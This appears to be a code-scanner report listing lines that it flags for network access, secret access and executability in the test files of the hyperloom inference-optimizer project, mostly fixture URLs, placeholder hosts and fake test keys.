export CALLS="{tmp_path}/calls"; DRY_RUN=0; CHECK_ONLY=0; VLLM_SOURCE_REF={_REF} VLLM_ROOT="{tmp_path}/src"; VLLM_VENV_ROOT="{venv}"; VLLM_REPO=https://example.invalid/vllm.git ROCM_SDK_INDEX_URL=https://stable.repo.amd.com/rocm/whl-next - Network accessline 151
VLLM_ROOT="{tmp_path}/src"; VLLM_VENV_ROOT="{venv}"; VLLM_REPO=https://example.invalid/vllm.git - Network accessline 152
ROCM_SDK_INDEX_URL=https://stable.repo.amd.com/rocm/whl-next - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Network accessline 176
assert calls.index("BASE_SITE") < calls.index("pip install") assert "pip install --no-build-isolation --constraint" in calls assert "--extra-index-url https://stable.repo.amd.com/rocm/whl-next" in calls - Network accessline 177
assert "pip install --no-build-isolation --constraint" in calls assert "--extra-index-url https://stable.repo.amd.com/rocm/whl-next" in calls assert "setup.py develop --no-deps CONSTRAINT=/tmp/" in calls - Network accessline 178
assert "--extra-index-url https://stable.repo.amd.com/rocm/whl-next" in calls - Network accessline 213
base_py = tmp_path / "base-python" overlay_py = tmp_path / "overlay-python" base_py.write_text(f"#!/bin/sh\ncat >/dev/null\nprintf '%s\\n' '{base_site}'\n") - Network accessline 214
overlay_py = tmp_path / "overlay-python" base_py.write_text(f"#!/bin/sh\ncat >/dev/null\nprintf '%s\\n' '{base_site}'\n") overlay_py.write_text(f"#!/bin/sh\ncat >/dev/null\nprintf '%s\\n' '{overlay_site}'\n") - Network accessline 215
base_py.write_text(f"#!/bin/sh\ncat >/dev/null\nprintf '%s\\n' '{base_site}'\n") - Network accessline 216
overlay_py.write_text(f"#!/bin/sh\ncat >/dev/null\nprintf '%s\\n' '{overlay_site}'\n") - Network accessline 291
verify_vllm_rocm() {{ return 0; }}; link_vllm_into_shared_bin() {{ :; }} FRAMEWORK_ENV=isolated; VLLM_VENV_ROOT="{venv}"; CHECK_ONLY=0; DRY_RUN=0 VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid - Network accessline 292
FRAMEWORK_ENV=isolated; VLLM_VENV_ROOT="{venv}"; CHECK_ONLY=0; DRY_RUN=0 VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid install_vllm_framework - Network accessline 293
VLLM_VERSION=0.29.0; VLLM_ROCM_VARIANT=rocm723; VLLM_ROCM_INDEX=https://example.invalid
src/hyperloom/inference_optimizer/tests/test_install_env_credentials.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 34
_INSTALL_KEY = "ak-install-time-key" _INSTALL_URL = "https://gateway.install-time.example/v1" - Network accessline 35
_INSTALL_URL = "https://gateway.install-time.example/v1" - Network accessline 36
[Credential-related source omitted] - Network accessline 37
[Credential-related source omitted] - Network accessline 38
_ROTATED_URL = "https://gateway.rotated.example/v1" - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_env_pythonpath.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Network accessline 42
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Network accessline 43
export ANTHROPIC_BASE_URL=https://api.anthropic.com - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_geak_node.py
- Executable scriptline 1
Executable file - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 119
) def test_an_unfetchable_node_stops_the_install_only_when_geak_agent_is_selected(tmp_path, env, refused): curl = tmp_path / "bin" / "curl" - Network accessline 120
def test_an_unfetchable_node_stops_the_install_only_when_geak_agent_is_selected(tmp_path, env, refused): curl = tmp_path / "bin" / "curl" curl.parent.mkdir(parents=True) - Network accessline 121
curl = tmp_path / "bin" / "curl"
src/hyperloom/inference_optimizer/tests/test_install_geak_pip.py
- Executable scriptline 1
Executable file - Network accessline 72
set -euo pipefail git() {{ if [ "${{1:-}}" = ls-remote ] && [ "${{2:-}}" = https://github.com/AMD-AGI/TraceLens.git ]; then - Network accessline 73
git() {{ if [ "${{1:-}}" = ls-remote ] && [ "${{2:-}}" = https://github.com/AMD-AGI/TraceLens.git ]; then printf '%s\\t%s\\n' 1111111111111111111111111111111111111111 refs/heads/main - Network accessline 74
if [ "${{1:-}}" = ls-remote ] && [ "${{2:-}}" = https://github.com/AMD-AGI/TraceLens.git ]; then - Network accessline 85
export GEAK_REPO={shlex.quote(str(geak_repo))} export GEAK_REF=main export ANTHROPIC_BASE_URL=https://api.example.test - Network accessline 86
[Credential-related source omitted] - Network accessline 87
export ANTHROPIC_BASE_URL=https://api.example.test - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_home_paths.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 24
[Credential-related source omitted] - Network accessline 91
# Only these host tools are visible, so a claude or curl elsewhere on the host cannot satisfy the function under test. - Network accessline 142
DRY_RUN=0 _ANTHROPIC_KEY_VAL=sk-hl-test-key _ANTHROPIC_BASE_URL_VAL=https://gateway.example.com/v1/ - Network accessline 143
_ANTHROPIC_KEY_VAL=sk-hl-test-key _ANTHROPIC_BASE_URL_VAL=https://gateway.example.com/v1/ {_extract_func("_home_dir")} - Network accessline 144
_ANTHROPIC_BASE_URL_VAL=https://gateway.example.com/v1/ - Network accessline 185
config = json.loads((tmp_path / "home" / ".claude" / "config.json").read_text(encoding="utf-8")) assert config["primaryApiKey"] == "sk-hl-test-key" assert config["customApiUrl"] == "https://gateway.example.com" - Network accessline 187
assert config["customApiUrl"] == "https://gateway.example.com" - Network accessline 247
data = json.loads(config.read_text(encoding="utf-8")) assert data["primaryApiKey"] == "sk-hl-test-key" assert data["customApiUrl"] == "https://gateway.example.com" - Network accessline 248
assert data["primaryApiKey"] == "sk-hl-test-key" assert data["customApiUrl"] == "https://gateway.example.com" assert stat.S_IMODE(config.stat().st_mode) == 0o600 - Network accessline 249
assert data["customApiUrl"] == "https://gateway.example.com" - Network accessline 274
[Credential-related source omitted] - Network accessline 275
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Network accessline 276
export ANTHROPIC_BASE_URL=https://gateway.example.com
src/hyperloom/inference_optimizer/tests/test_install_hosted_extra.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_image_python_path.py
src/hyperloom/inference_optimizer/tests/test_install_kernel_tools_direct_run.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_kernel_tools_env_precedence.py
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 21
[Credential-related source omitted] - Network accessline 22
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 23
export ANTHROPIC_BASE_URL=https://api.anthropic.com - Access to secretsline 34
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_kernelforge_ready.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_magpie_idempotent.py
- Executable scriptline 1
Executable file - Network accessline 79
CHECK_ONLY=0 DRY_RUN=0 MAGPIE_REPO="https://example.invalid/Magpie.git" - Network accessline 80
DRY_RUN=0 MAGPIE_REPO="https://example.invalid/Magpie.git" MAGPIE_REF="deadbeef" - Network accessline 81
MAGPIE_REPO="https://example.invalid/Magpie.git" - Network accessline 82
MAGPIE_REF="deadbeef" MAGPIE_PACKAGE_SPEC="magpie-eval @ git+https://example.invalid/Magpie.git@deadbeef" {magpie_path_line} - Network accessline 83
MAGPIE_PACKAGE_SPEC="magpie-eval @ git+https://example.invalid/Magpie.git@deadbeef" - Network accessline 116
out, pip_called = _run_ensure_magpie(tmp_path, import_ok=False) assert pip_called, f"reinstall should have run on import failure:\n{out}" assert "Magpie installed OK from magpie-eval @ git+https://example.invalid/Magpie.git@deadbeef - Network accessline 118
assert "Magpie installed OK from magpie-eval @ git+https://example.invalid/Magpie.git@deadbeef" in out - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_packaged_extras_resolution.py
src/hyperloom/inference_optimizer/tests/test_install_pinned_component_roots.py
- Executable scriptline 1
Executable file - Network accessline 26
[Credential-related source omitted] - Network accessline 27
[Credential-related source omitted] - Network accessline 28
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_ray_version_resolution.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_rocprof_compute.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_install_scriptable_quality_deps_clobber.py
src/hyperloom/inference_optimizer/tests/test_install_session_paths.py
- Executable scriptline 1
Executable file - Network accessline 56
def _run_installer(script: Path, checkout: Path, shell: dict[str, str]) -> subprocess.CompletedProcess[str]: env = {key: os.environ[key] for key in ("PATH", "HOME") if key in os.environ} env.update(REPO_ROOT=str(checkout), GEAK_REF= - Network accessline 57
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Network accessline 58
env.update(REPO_ROOT=str(checkout), GEAK_REF=_PINNED_GEAK_REF, ANTHROPIC_BASE_URL="https://gateway.invalid") - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 230
[Credential-related source omitted] - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Access to secretsline 315
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_install_torch_gpu_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_integrate_controller_preapplied_patch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_integrate_final_content_snapshot.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_integrate_patch_launch_only.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_integrate_payload_defaults.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_intent_null_fields_are_unset.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_intent_payload_validation.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_isolated_vllm_pythonpath.py
src/hyperloom/inference_optimizer/tests/test_kb_unified_interface.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_agent_task.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_attempt_summary.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_fmoe_ck_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_idle_no_progress.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_idle_streak.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_integrate_and_report.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_node_ops.py
src/hyperloom/inference_optimizer/tests/test_kernel_patch_jit_transaction.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_request_handlers_helpers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_kernel_request_handlers_units.py
- Executable scriptline 1
Executable file - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 61
) _OPENAI_ONLY_ENV = { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 62
[Credential-related source omitted] - Network accessline 63
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 64
[Credential-related source omitted] - Network accessline 65
} _ANTHROPIC_ONLY_ENV = { "ANTHROPIC_BASE_URL": "https://gateway.invalid/Anthropic", - Network accessline 66
[Credential-related source omitted] - Network accessline 67
"ANTHROPIC_BASE_URL": "https://gateway.invalid/Anthropic", - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 1998
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_kill_spawned_server.py
src/hyperloom/inference_optimizer/tests/test_knowledge_plane.py
- Executable scriptline 1
Executable file - Network accessline 17
def test_plane_disabled_pr_returns_empty_mcp_url(): plane = KnowledgePlane.from_clients(pr_monitor_mcp_url="http://pr.test/mcp/") - Network accessline 18
plane = KnowledgePlane.from_clients(pr_monitor_mcp_url="http://pr.test/mcp/") - Network accessline 25
plane = KnowledgePlane.from_clients( pr_monitor_enabled=True, pr_monitor_mcp_url="http://pr.test/mcp/", - Network accessline 26
pr_monitor_enabled=True, pr_monitor_mcp_url="http://pr.test/mcp/", ) - Network accessline 27
pr_monitor_mcp_url="http://pr.test/mcp/", - Network accessline 28
) assert plane.pr_monitor_enabled is True assert plane.specialist_mcp_url() == "http://pr.test/mcp/" - Network accessline 30
assert plane.specialist_mcp_url() == "http://pr.test/mcp/" - Network accessline 113
def test_removed_independent_pr_endpoint_flags_are_rejected(flag: str): with pytest.raises(SystemExit): _parse_optimize_args([flag, "https://legacy.example/pr-monitor"]) - Network accessline 115
_parse_optimize_args([flag, "https://legacy.example/pr-monitor"]) - Network accessline 122
monkeypatch.setenv("KB_STORE_URL", "https://kb.example/knowledge-base") - Network accessline 125
plane = _bootstrap_knowledge_plane(args, recipe_kb_client=None) assert plane.pr_monitor_enabled is True assert plane.pr_monitor_mcp_url == "https://kb.example/knowledge-base/pr-monitor/mcp/" - Network accessline 127
assert plane.pr_monitor_mcp_url == "https://kb.example/knowledge-base/pr-monitor/mcp/"
src/hyperloom/inference_optimizer/tests/test_knowledge_plane_phase1.py
- Executable scriptline 1
Executable file - Network accessline 40
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 41
"KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", }, - Network accessline 42
"KB_STORE_URL": "https://kb.test", - Network accessline 66
{ "KNOWLEDGE_STORE_MODE": "remote", "GBRAIN_BASE_URL": "https://gbrain.test", - Network accessline 67
[Credential-related source omitted] - Network accessline 68
"GBRAIN_BASE_URL": "https://gbrain.test", - Network accessline 76
{ "KNOWLEDGE_STORE_MODE": "remote", "KB_STORE_URL": "https://kb.test", - Network accessline 77
[Credential-related source omitted] - Network accessline 78
"KB_STORE_URL": "https://kb.test", - Network accessline 79
[Credential-related source omitted] - Network accessline 80
"GBRAIN_BASE_URL": "https://gbrain.test", - Network accessline 91
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "local") monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(tmp_path / "knowledge")) monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid") - Network accessline 92
monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(tmp_path / "knowledge")) monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid") monkeypatch.setenv("KB_STORE_TOKEN", "ambient-token") - Network accessline 93
monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid") - Network accessline 106
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "remote") monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(root)) monkeypatch.setenv("KB_STORE_URL", "https://kb.test") - Network accessline 107
monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(root)) monkeypatch.setenv("KB_STORE_URL", "https://kb.test") monkeypatch.setenv("KB_STORE_TOKEN", "token") - Network accessline 108
monkeypatch.setenv("KB_STORE_URL", "https://kb.test")
src/hyperloom/inference_optimizer/tests/test_kv_metrics.py
- Executable scriptline 1
Executable file - Network accessline 322
monkeypatch.setattr( "hyperloom.orchestrator.actions.executors._kv_metrics.urllib.request.urlopen", - Network accessline 323
"hyperloom.orchestrator.actions.executors._kv_metrics.urllib.request.urlopen", - Network accessline 325
) for _ in range(3): assert poller.fetch() is None - Network accessline 327
assert poller.fetch() is None - Network accessline 332
poller._first_attempt_mono = _time.monotonic() - (_GIVE_UP_GRACE_SEC + 1) assert poller.fetch() is None - Network accessline 333
assert poller.fetch() is None - Network accessline 341
monkeypatch.setattr( "hyperloom.orchestrator.actions.executors._kv_metrics.urllib.request.urlopen", - Network accessline 342
"hyperloom.orchestrator.actions.executors._kv_metrics.urllib.request.urlopen", - Network accessline 343
_explode, ) assert poller.fetch() is None - Network accessline 345
assert poller.fetch() is None - Network accessline 350
import http.client - Network accessline 355
class _Truncated: def open(self, *_args, **_kwargs): raise http.client.IncompleteRead(b"partial", 100) - Network accessline 357
raise http.client.IncompleteRead(b"partial", 100) - Network accessline 361
kv_poller = KvMetricsPoller(port=1) assert kv_poller.fetch() is None - Network accessline 362
assert kv_poller.fetch() is None - Network accessline 365
progress_poller = AiperfProgressPoller(tmp_path) progress_poller.url = "http://127.0.0.1:1" - Network accessline 366
progress_poller.url = "http://127.0.0.1:1"
src/hyperloom/inference_optimizer/tests/test_kv_metrics_wiring.py
- Executable scriptline 1
Executable file - Network accessline 32
def __init__(self, samples, available=True): self.url = "http://127.0.0.1:1/metrics" - Network accessline 33
self.url = "http://127.0.0.1:1/metrics" - Network accessline 723
class _GaveUp: url = "http://127.0.0.1:8888/metrics" - Network accessline 724
url = "http://127.0.0.1:8888/metrics" - Network accessline 867
(nested / "server.log").write_text( "(APIServer pid=18877) INFO 09-10 15:50:09 [api_server.py:577] Supported tasks: ['generate']\n" "(APIServer pid=18877) INFO 09-10 15:50:09 [api_server.py:581] Starting vLLM server on http: - Network accessline 868
"(APIServer pid=18877) INFO 09-10 15:50:09 [api_server.py:577] Supported tasks: ['generate']\n" "(APIServer pid=18877) INFO 09-10 15:50:09 [api_server.py:581] Starting vLLM server on http://0.0.0.0:8000\n" "(APIServer pid=18 - Network accessline 869
"(APIServer pid=18877) INFO 09-10 15:50:09 [api_server.py:581] Starting vLLM server on http://0.0.0.0:8000\n" - Network accessline 904
("INFO 09-10 15:50:09 [api_server.py:581] Starting vLLM server on http://0.0.0.0:8000", 8000), - Network accessline 905
("INFO 09-10 06:51:03 [api_server.py:581] Starting vLLM server on http://0.0.0.0:34407", 34407), - Network accessline 906
("INFO: Uvicorn running on http://0.0.0.0:30000 (Press CTRL+C to quit)", 30000), - Network accessline 910
("INFO downloading from https://mirror.example.com:8443/models/x", None), - Network accessline 930
(tmp_path / "baseline_lifecycle.yaml").write_text(_ROUND_YAML, encoding="utf-8") (tmp_path / "server.log").write_text("INFO: Uvicorn running on http://0.0.0.0:8000\n", encoding="utf-8") - Network accessline 931
(tmp_path / "server.log").write_text("INFO: Uvicorn running on http://0.0.0.0:8000\n", encoding="utf-8") - Network accessline 943
(tmp_path / "server.log").write_text("INFO: Uvicorn running on http://0.0.0.0:8000\n", encoding="utf-8") - Network accessline 945
assert poller.port == 8000 assert poller.url == "http://127.0.0.1:8000/metrics" - Network accessline 946
assert poller.url == "http://127.0.0.1:8000/metrics" - Network accessline 1096
poller = KvMetricsPoller(port=1) for _ in range(5): poller.fetch() - Network accessline 1098
poller.fetch() - Network accessline 1109
_refuse(monkeypatch) poller = KvMetricsPoller(port=1) poller.fetch() - Network accessline 1111
poller.fetch() - Network accessline 1114
poller._first_attempt_mono = time.monotonic() - (_GIVE_UP_GRACE_SEC + 1) poller.fetch() - Network accessline 1115
poller.fetch() - Network accessline 1116
poller.fetch() - Network accessline 1152
artifacts = tmp_path / "aiperf_artifacts" artifacts.mkdir() (artifacts / "progress_api.json").write_text(json.dumps({"url": "http://127.0.0.1:19090"}), encoding="utf-8") - Network accessline 1154
(artifacts / "progress_api.json").write_text(json.dumps({"url": "http://127.0.0.1:19090"}), encoding="utf-8") - Network accessline 1156
assert AiperfProgressPoller(tmp_path)._resolve_url() == "http://127.0.0.1:19090" - Network accessline 1163
artifacts = tmp_path / "benchmark_agentx_1" / "aiperf_artifacts" artifacts.mkdir(parents=True) (artifacts / "progress_api.json").write_text(json.dumps({"url": "http://127.0.0.1:20001"}), encoding="utf-8") - Network accessline 1165
(artifacts / "progress_api.json").write_text(json.dumps({"url": "http://127.0.0.1:20001"}), encoding="utf-8") - Network accessline 1167
assert AiperfProgressPoller(tmp_path)._resolve_url() == "http://127.0.0.1:20001"
src/hyperloom/inference_optimizer/tests/test_langfuse_emitter.py
- Executable scriptline 1
Executable file - Network accessline 101
def _enable_env(monkeypatch) -> None: monkeypatch.setenv("HYPERLOOM_LANGFUSE_ENABLE", "1") monkeypatch.setenv("LANGFUSE_HOST", "https://lf.test") - Network accessline 102
monkeypatch.setenv("HYPERLOOM_LANGFUSE_ENABLE", "1") monkeypatch.setenv("LANGFUSE_HOST", "https://lf.test") monkeypatch.setenv("LANGFUSE_PUBLIC_KEY", "langfuse-public-value") - Network accessline 103
monkeypatch.setenv("LANGFUSE_HOST", "https://lf.test") - Access to secretsline 246
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted] - Access to secretsline 311
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 375
[Credential-related source omitted] - Access to secretsline 377
[Credential-related source omitted] - Network accessline 1724
assert r["enabled"] is True assert r["disabled_reason"] is None assert r["config"]["host"] == "https://lf.test" - Network accessline 1725
assert r["disabled_reason"] is None assert r["config"]["host"] == "https://lf.test" assert r["config"]["public_key_set"] is True - Network accessline 1726
assert r["config"]["host"] == "https://lf.test"
src/hyperloom/inference_optimizer/tests/test_langfuse_emitter_helpers_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_latency_budget.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_launch_infera_node.py
src/hyperloom/inference_optimizer/tests/test_launch_log_evidence.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_launcher_optimizer_flags.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_lifecycle_events.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_lifecycle_wiring.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_llm_attribution_coverage.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_llm_config.py
- Executable scriptline 1
Executable file - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Network accessline 105
def test_derive_openai_base_url_from_amd_anthropic_endpoint(): assert derive_openai_base_url("https://llm.example.invalid/anthropic") == "https://llm.example.invalid/Unified/v1" - Network accessline 106
assert derive_openai_base_url("https://llm.example.invalid/anthropic") == "https://llm.example.invalid/Unified/v1" - Network accessline 112
assert derive_openai_base_url("https://llm-api.amd.com/Anthropic") == "https://llm-api.amd.com/Unified/v1" - Network accessline 114
assert derive_openai_base_url("https://llm-api.amd.com/unified") == "https://llm-api.amd.com/Unified/v1" - Network accessline 120
env={ "_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", - Network accessline 121
"_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", "OPENAI_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: ak-header", - Network accessline 122
"OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", - Network accessline 132
env={ "_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://api.openai.com/v1", - Network accessline 133
"_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://api.openai.com/v1", "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", - Network accessline 134
"OPENAI_BASE_URL": "https://api.openai.com/v1", - Network accessline 135
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", "ANTHROPIC_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: ak-header", - Network accessline 136
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 139
).as_kwargs() assert kwargs["api_key"] == "openai-token" assert kwargs["base_url"] == "https://api.openai.com/v1" - Access to secretsline 140
[Credential-related source omitted] - Network accessline 141
assert kwargs["base_url"] == "https://api.openai.com/v1" - Network accessline 148
"_".join(("ANTHROPIC", "AUTH", "TOKEN")): "gateway-token", "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm-api.amd.com/Anthropic", - Network accessline 150
"ANTHROPIC_BASE_URL": "https://llm-api.amd.com/Anthropic", - Access to secretsline 153
[Credential-related source omitted] - Network accessline 155
_CODEX_ONLY_ENV = { "_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://llm-api.amd.com/Unified/v1", - Network accessline 156
"_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://llm-api.amd.com/Unified/v1", } - Network accessline 157
"OPENAI_BASE_URL": "https://llm-api.amd.com/Unified/v1", - Network accessline 163
kwargs = resolve_openai_client_config(env=dict(_ANTHROPIC_ONLY_ENV)).as_kwargs() assert kwargs["base_url"] == "https://llm-api.amd.com/Unified/v1" - Network accessline 164
assert kwargs["base_url"] == "https://llm-api.amd.com/Unified/v1" - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Network accessline 177
[Credential-related source omitted] - Network accessline 178
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Network accessline 179
"base_url": "https://llm-api.amd.com/Unified/v1", - Network accessline 186
[Credential-related source omitted] - Network accessline 187
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Network accessline 188
"base_url": "https://llm-api.amd.com/Unified/v1", - Network accessline 196
).as_kwargs() assert key_only["api_key"] == "openai-token" assert key_only["base_url"] == "https://llm-api.amd.com/Unified/v1" - Access to secretsline 197
[Credential-related source omitted] - Network accessline 198
assert key_only["base_url"] == "https://llm-api.amd.com/Unified/v1" - Network accessline 200
url_only = resolve_openai_client_config( env={**_ANTHROPIC_ONLY_ENV, "OPENAI_BASE_URL": "https://explicit.example.invalid/v1"} - Network accessline 201
env={**_ANTHROPIC_ONLY_ENV, "OPENAI_BASE_URL": "https://explicit.example.invalid/v1"} - Network accessline 202
).as_kwargs() assert url_only["api_key"] == "gateway-token" assert url_only["base_url"] == "https://explicit.example.invalid/v1" - Access to secretsline 203
[Credential-related source omitted] - Network accessline 204
assert url_only["base_url"] == "https://explicit.example.invalid/v1" - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted] - Network accessline 250
legacy = {_LEGACY_KEY: "dk", "DEEPSEEK_BASE_URL": "https://api.deepseek.com"} - Network accessline 259
def test_openai_agent_credential_requires_a_key_not_a_bare_base_url(): assert not llm_config.openai_agent_credentialed({"OPENAI_BASE_URL": "https://gw/v1"}) - Network accessline 260
assert not llm_config.openai_agent_credentialed({"OPENAI_BASE_URL": "https://gw/v1"}) - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 265
[Credential-related source omitted] - Access to secretsline 284
[Credential-related source omitted] - Network accessline 285
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Network accessline 287
(False, True, {"OPENAI_BASE_URL": "https://gw/v1"}, llm_config.AGENT_BACKEND_CODEX), - Network accessline 289
(True, True, {"OPENAI_BASE_URL": "https://gw/v1", "LLM_GATEWAY_KEY": "gw"}, llm_config.AGENT_BACKEND_CLAUDE), - Access to secretsline 295
[Credential-related source omitted] - Network accessline 314
